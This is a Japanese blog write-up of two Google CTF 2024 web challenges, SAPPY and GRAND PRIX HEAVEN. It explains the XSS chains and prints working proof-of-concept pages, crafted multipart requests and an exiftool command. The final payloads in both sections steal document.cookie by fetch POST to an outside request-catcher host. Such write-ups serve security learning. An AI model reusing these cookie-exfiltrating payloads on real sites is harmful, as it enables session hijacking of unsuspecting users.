はまやんはまやんはまやん

hamayanhamayan's blog

Google Capture The Flag 2024 Writeups

https://ctftime.org/event/2296

[Web] SAPPY

ソースコード有り。XSSする問題が与えられる。メインのapp.jsは非常に簡潔。

app.get("/", async (req, res) => {
  fs.readFile("index.html", function (err, data) {
    res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
    res.write(data);
    return res.end();
  });
});

app.get("/sap.html", async (req, res) => {
  fs.readFile("sap.html", function (err, data) {
    res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
    res.write(data);
    return res.end();
  });
});

app.get("/pages.json", (req, res) => {
  res.json(pages);
});

app.get("/sap/:p", async (req, res) => {
  if (!pages.hasOwnProperty(req.params.p)) {
    res.status(404).send("not found");
    return res.end();
  }
  const p = pages[req.params.p];
  res.json(p);
});

GET /pages.jsonGET /sap:pjsonを返すのでここから直接XSSはできない。GET /GET /sap.htmlはhtmlを返すだけ。よって、クライアントサイドでXSSする問題っぽい。index.htmlJavaScript部分を見てみよう。

const divPages = document.getElementById("pages");
const iframe = document.querySelector("iframe");

function onIframeLoad() {
    iframe.contentWindow.postMessage(
        `
        {
            "method": "initialize", 
            "host": "https://sappy-web.2024.ctfcompetition.com"
        }`,
        window.origin
    );
}

iframe.src = "./sap.html";
iframe.addEventListener("load", onIframeLoad);

window.addEventListener("message", (event) => {
    let data = event.data;
    try {
        data = JSON.parse(data);
        if (typeof data.method !== "string") return;
        switch (data.method) {
            case "heightUpdate": {
            if (typeof data.height === "number") {
                iframe.height = data.height + 16;
            }
            break;
            }
        }
    } catch(e) {
        console.log(e)
    }
});

fetch("pages.json")
.then((r) => r.json())
.then((json) => {
    for (const [id, { title }] of Object.entries(json)) {
    const button = document.createElement("button");
    button.setAttribute("class", "margin");
    button.innerText = title;
    button.addEventListener("click", () => switchPage(id));
    divPages.append(button);
    }
});

function switchPage(id) {
    const msg = JSON.stringify({
        method: "render",
        page: id,
    });
    iframe.contentWindow.postMessage(msg, window.origin);
}

innerTextがあるが、外部から何か差し込めそうな雰囲気は無い?Prototype Pollutionがあればいける?一旦保留。sap.htmlの抜粋を見てみる。

<script src="./static/sap.js"></script>
<script type="module">
    const INTERVAL = 100;
    let lastHeight = -1;
    setInterval(() => {
        const height = document.body.clientHeight;
        if (height === lastHeight) return;
        lastHeight = height;
        parent.postMessage(
            JSON.stringify({
            method: "heightUpdate",
            height: height,
            }),
            "*"
        );
    }, INTERVAL);
</script>

100ms毎に高さを見て変更があれば報告している。sap.jsを読み込んでいる。ちょっとずつ見ていく。

goog.module("sap");

const Uri = goog.require("goog.Uri");

初めて見た。Googleのclosure-libraryというものっぽい。よく分からんが、もう終わるライブラリらしい

function getHost(options) {
  if (!options.host) {
    const u = Uri.parse(document.location);

    return u.scheme + "://sappy-web.2024.ctfcompetition.com";
  }
  return validate(options.host);
}

function validate(host) {
  const h = Uri.parse(host);
  if (h.hasQuery()) {
    throw "invalid host";
  }
  if (h.getDomain() !== "sappy-web.2024.ctfcompetition.com") {
    throw "invalid host";
  }
  return host;
}

function buildUrl(options) {
  return getHost(options) + "/sap/" + options.page;
}

exports = { buildUrl };

window.buildUrl = buildUrl;

buildUrlというのが定義されている。ホスト部sappy-web.2024.ctfcompetition.comに強制しながらパスを作るようだ。

const API = { host: location.origin };

const output = document.getElementById("output");

window.addEventListener(
  "message",
  async (event) => {
    let data = event.data;
    if (typeof data !== "string") return;
    data = JSON.parse(data);
    const method = data.method;
    switch (method) {
      case "initialize": {
        if (!data.host) return;
        API.host = data.host;
        break;
      }
      case "render": {
        if (typeof data.page !== "string") return;
        const url = buildUrl({
          host: API.host,
          page: data.page,
        });
        const resp = await fetch(url);
        if (resp.status !== 200) {
          console.error("something went wrong");
          return;
        }
        const json = await resp.json();
        if (typeof json.html === "string") {
          output.innerHTML = json.html;
        }
        break;
      }
    }
  },
  false
);

htmlデータを取得してinnerHTMLで埋め込んでいる。ここですね。urlを作るためのbuildUrlに渡す引数はどちらもPostMessage経由なので、buildUrlをうまく誤魔化して違うホストにしてやる。あとはひたすら実験。dataスキーマで実験すると良い方法が見つかる。

> fetch('data://sappy-web.2024.ctfcompetition.com/,poc').then(r=>r.text()).then(t=>console.log(t))
poc
> fetch(buildUrl({host: "data://sappy-web.2024.ctfcompetition.com",page: ",hoge"})).then(r=>r.text()).then(t=>console.log(t))
hoge
> fetch(buildUrl({host: "data://sappy-web.2024.ctfcompetition.com",page: ',{"html":"<img src=x onerror=alert(document.domain)>"}'})).then(r=>r.text()).then(t=>console.log(t))
{"html":"<img src=x onerror=alert(document.domain)>"}

pocを書いて自分で踏んでみるとドメインでアラートが出た。

<iframe id="frame" src="https://sappy-web.2024.ctfcompetition.com/sap.html"></iframe>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms))
    setTimeout(async () => {
        const fr = document.getElementById("frame");
        await sleep(1000);
        console.log("init");
        fr.contentWindow.postMessage(JSON.stringify({
            method: "initialize",
            host: "data://sappy-web.2024.ctfcompetition.com",
        }),'*');
        await sleep(1000);
        console.log("render");
        let payload = 'alert(document.domain)';
        let page = ',{"html":"<img src=x onerror=\''+payload+'\'>"}'
        fr.contentWindow.postMessage(JSON.stringify({
            method: "render", 
            page: page
        }),'*');
    }, 0)
</script>

これでドメインが抜けるかなーと思ったが、抜けない。Storage partitioningをすっかり忘れていた。ポップアップが使えるか分からないが、試しに新しいウインドウを別に作ってやると成功した。以下でrequest catcherに通信が飛ぶ。

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms))
    setTimeout(async () => {
        const w = window.open("https://sappy-web.2024.ctfcompetition.com/sap.html");
        await sleep(1000);
        console.log("init");
        w.postMessage(JSON.stringify({
            method: "initialize",
            host: "data://sappy-web.2024.ctfcompetition.com",
        }),'*');
        await sleep(1000);
        console.log("render");
        let payload = 'fetch(`https://[yours].requestcatcher.com/test`, { method : `post`, body: document.cookie })';
        let page = ',{"html":"<img src=x onerror=\''+payload+'\'>"}'
        w.postMessage(JSON.stringify({
            method: "render", 
            page: page
        }),'*');
    }, 0)
</script>

[Web] GRAND PRIX HEAVEN

ソースコード有り。XSSする問題が与えられる。heavenサーバーというフロントエンドと、templateサーバーというバックエンドが用意されている。とりあえず、フロントエンドのソースコードを巡回するとmediaparser.jsというのが気になる。

addEventListener("load", (event) => {
  params = new URLSearchParams(window.location.search);
  let requester = new Requester(params.get('F1'));
  try {
    let result = requester.makeRequest();
    result.then((resp) => {
        if (resp.headers.get('content-type') == 'image/jpeg') {
          var titleElem = document.getElementById("title-card");
          var dateElem = document.getElementById("date-card");
          var descElem = document.getElementById("desc-card");
          
          resp.arrayBuffer().then((imgBuf) => {
              const tags = ExifReader.load(imgBuf);
              descElem.innerHTML = tags['ImageDescription'].description;
              titleElem.innerHTML = tags['UserComment'].description;
              dateElem.innerHTML = tags['ICC Profile Date'].description;
          })
        }
    })
  } catch (e) {
    console.log("an error occurred with the Requester class.");
  }
});

URLからパラメタを読み込んで、色々やった結果をinnterHTMLに入れている。mediaparser.jsを読み込んでいる所を探すと、バックエンド側のtemplates.jsにあった。

mediaparser :  `
<script src="https://cdn.jsdelivr.net/npm/exifreader@4.22.1/dist/exif-reader.min.js"></script>
<script src="../js/mediaparser.js"></script>
`,
…

mediaparserという辞書を持って来る必要がありそうだが、全文検索をするとheavenサーバーのindex.jsに気になる記載があった。

const TEMPLATE_PIECES = [
  "head_end",
  "csp",
  "upload_form",
  "footer",
  "retrieve",
  "apiparser", /* We've deprecated the mediaparser. apiparser only! */
  "faves",
  "index",
];

つまり、指定できるテンプレートの中にmediaparserはあるが、使えないということのようだ。しかも、それを使えばXSS出来そうな雰囲気がある。とりあえず一次目標が定まった。

mediaparserテンプレートを使えるようにする

とりあえずTEMPLATE_PIECESが使われている所を探すと以下の部分。

app.get("/fave/:GrandPrixHeaven", async (req, res) => {
  const grandPrix = await Configuration.findOne({
    where: { public_id: req.params.GrandPrixHeaven },
  });
  if (!grandPrix) return res.status(400).json({ error: "ERROR: ID not found" });
  let defaultData = {
    0: "csp",
    1: "retrieve",
    2: "apiparser",
    3: "head_end",
    4: "faves",
    5: "footer",
  };
  let needleBody = defaultData;
  if (grandPrix.custom != "") {
    try {
      needleBody = JSON.parse(grandPrix.custom);
      for (const [k, v] of Object.entries(needleBody)) {
        if (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')
          throw new Error("invalid template piece");
        // don't be sneaky. We need a CSP!
        if (parseInt(k) == 0 && v != "csp") throw new Error("No CSP");
      }
    } catch (e) {
      console.log(`ERROR IN /fave/:GrandPrixHeaven:\n${e}`);
      return res.status(400).json({ error: "invalid custom body" });
    }
  }
  needle.post(
    TEMPLATE_SERVER,
    needleBody,
    { multipart: true, boundary: BOUNDARY },
    function (err, resp, body) {
      if (err) {
        console.log(`ERROR IN /fave/:GrandPrixHeaven:\n${e}`);
        return res.status(500).json({ error: "error" });
      }
      return res.status(200).send(body);
    }
  );
});

GrandPrixHeavenパラメタをキーとしてデータが保持されており、その中のgrandPrix.customについてTEMPLATE_PIECESを使って検証している。grandPrix.customはデフォルトを参考にすると以下のような感じで、これがtempleteサーバーに送られてレスポンスが生成されている。

let defaultData = {
    0: "csp",
    1: "retrieve",
    2: "apiparser",
    3: "head_end",
    4: "faves",
    5: "footer",
};

templeteエンジンを見てみると独特な実装になっていて、Multipartデータを自前でパースして読み込んでいる。

const BOUNDARY = "GP_HEAVEN";const parseMultipartData  = (data, boundary) => {
  var chunks = data.split(boundary);
  // always start with the <head> element
  var processedTemplate = templates.head_start;
  // to prevent loading an html page of arbitrarily large size, limit to just 7 at a time
  let end = 7;
  if (chunks.length-1 <= end) {
    end = chunks.length-1;
  }
  for (var i = 1; i < end; i++) {
    // seperate body from the header parts
    var lines = chunks[i].split('\r\n\r\n')
    .map((item) => item.replaceAll("\r\n", ""))
    .filter((item) => { return item != ''})
    for (const item of Object.keys(templates)) {
        if (lines.includes(item)) {
            processedTemplate += templates[item];
        }
    }
  }
  return processedTemplate;
}


const reqHandler = function (req, res) {
  res.setHeader("Content-Type", "text/html");
  var result;
  if (req.method == 'POST') {
    var body = ''
    req.on('data', function(data) {
      body += data
    })
    req.on('end', function() {
      var boundary = '--' + req.headers['content-type'].split("boundary=")[1];
      result = parseMultipartData(body, boundary);
      res.end(result);
    })
  } else {
    res.writeHead(400);
    return res.end();
  }

};

自前でパース指定しているという所がミソだろう。パーサーのクセをうまく使うことでmediaparserを紛れ込ませるのが問題の趣旨に見える。検証の回避から攻めよう。検証はif (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')のような感じだが、key部分の検証に使っているparseIntは大分忖度してくれることが知られており、先頭が数字ならばいい感じに数値化してくれる。よって先頭に数値を置きさえすれば後ろは何でもいい。つまり、parseInt("1hogehoge")とすると1が帰ってきて検証をpassすることができる。これでkey部分に任意の文字列が入れ込めることが分かった。

次はテンプレートサーバー側である。処理としてはboundaryで素直に文字列分割して行毎に分割したのち、テンプレート文字列が含まれる行があれば変換する。テンプレート文字列が含まれる行を作ればいいので改行をうまく使えばmediaparserだけが乗った行を作り出すことができる。(もう一つ怪しい点として、boundaryで愚直に変換しているので本文中にboundaryがあっても気が付かずに分割してしまい、かつ、boundaryは定数で作られているため既知である --GP_HEAVEN ということがあった。でも、これは使わなくても差し込める。)

つまり、以下のようにPOST /api/new-carするとmediaparserが読み出せる。

POST /api/new-car HTTP/2
Host: grandprixheaven-web.2024.ctfcompetition.com
Content-Length: 629
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycGJT8YXfU1VY34Fq

------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="year"

2004
------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="make"

Ferrari
------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="model"

F2004
------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="custom"

{"1\r\n\r\nmediaparser\r\n\r\n":"index", "2": "retrieve"}
------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarycGJT8YXfU1VY34Fq--

mediaparserからXSSために任意の画像を読み込ませる

mediaparser.jsを再掲しよう。

addEventListener("load", (event) => {
  params = new URLSearchParams(window.location.search);
  let requester = new Requester(params.get('F1'));
  try {
    let result = requester.makeRequest();
    result.then((resp) => {
        if (resp.headers.get('content-type') == 'image/jpeg') {
          var titleElem = document.getElementById("title-card");
          var dateElem = document.getElementById("date-card");
          var descElem = document.getElementById("desc-card");
          
          resp.arrayBuffer().then((imgBuf) => {
              const tags = ExifReader.load(imgBuf);
              descElem.innerHTML = tags['ImageDescription'].description;
              titleElem.innerHTML = tags['UserComment'].description;
              dateElem.innerHTML = tags['ICC Profile Date'].description;
          })
        }
    })
  } catch (e) {
    console.log("an error occurred with the Requester class.");
  }
});

F1からのパラメタとRequesterを使って画像データを読みだしている。Requesterの中身は以下のような感じで、普通にやると

class Requester {
    constructor(url) {
        const clean = (path) => {
          try {
            if (!path) throw new Error("no path");
            let re = new RegExp(/^[A-z0-9\s_-]+$/i);
            if (re.test(path)) {
              // normalize
              let cleaned = path.replaceAll(/\s/g, "");
              return cleaned;
            } else {
              throw new Error("regex fail");
            }
          } catch (e) {
            console.log(e);
            return "dfv";
          }
          };
        url = clean(url);
        this.url = new URL(url, 'https://grandprixheaven-web.2024.ctfcompetition.com/api/get-car/');
      }
    makeRequest() {
        return fetch(this.url).then((resp) => {
            if (!resp.ok){
                throw new Error('Error occurred when attempting to retrieve media data');
            }
            return resp;
        });
    }
  }

普通に使うとGET /api/get-car/:carIdjsonデータしか返さないのでダメ。mediaparserのif (resp.headers.get('content-type') == 'image/jpeg') {のルートに乗せられるエンドポイントはGET /media/:mediaIdくらいなのでパストラバーサルをしてここまで持って来るのだろう。clean関数でブロックされているように見える。

clean関数で使われている正規表現をよく見るとnew RegExp(/^[A-z0-9\s_-]+$/i)となっていてA-zが若干広そうに見える。ASCII表を見るとこれにより特殊文字として[]\^_`が使えるようになっている。new URL(url, 'https://grandprixheaven-web.2024.ctfcompetition.com/api/get-car/');この変換でガチャガチャ遊ぶと以下のような良いものが見つかる。

> (new URL('\\media\\dmPPUJFK0JeKNciDT7VnI', 'https://grandprixheaven-web.2024.ctfcompetition.com/api/get-car/')).href
'https://grandprixheaven-web.2024.ctfcompetition.com/media/dmPPUJFK0JeKNciDT7VnI'

XSS

以上の事柄を組み合わせてXSSする。

  1. 適当なjpg画像を用意してタグにXSSコードを入れる exiftool -ImageDescription='<img src=x onerror=alert(document.domain)>' sachiko.jpg
  2. 1の画像をアップロードしてパスを取得する /media/UEAHsJJwJGA66_ZOgCb18 みたいなパス
  3. mediaparse, retrieve, favesを読み込ませたfaveを作る。以下のような感じ。
POST /api/new-car HTTP/2
Host: grandprixheaven-web.2024.ctfcompetition.com
Content-Length: 629
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycGJT8YXfU1VY34Fq

------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="year"

2004
------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="make"

Ferrari
------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="model"

F2004
------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="custom"

{"1\r\n\r\nmediaparser\r\n\r\n":"index", "2": "retrieve", "3": "faves"}
------WebKitFormBoundarycGJT8YXfU1VY34Fq
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarycGJT8YXfU1VY34Fq--
  1. mediaparserのURLのFIパラメタ部分を手順2で取得したパスをスラッシュをバックスラッシュに変更したものを入れて開くとXSS発動! /fave/UhaXhkuN-xR1YkJ1efNWZ?F1=\media\UEAHsJJwJGA66_ZOgCb18

これでdocument.domain入りのアラートが上がってくる。成功していることが確認できたので、exiftool部分を以下のように変更すればcookie奪取ができ、最終的なURLをbotに送ればフラグが手に入る。

exiftool -ImageDescription='<img src=x onerror="fetch(`https://[yours].requestcatcher.com/flag`, { method : `post`, body: document.cookie })">' sachiko.jpg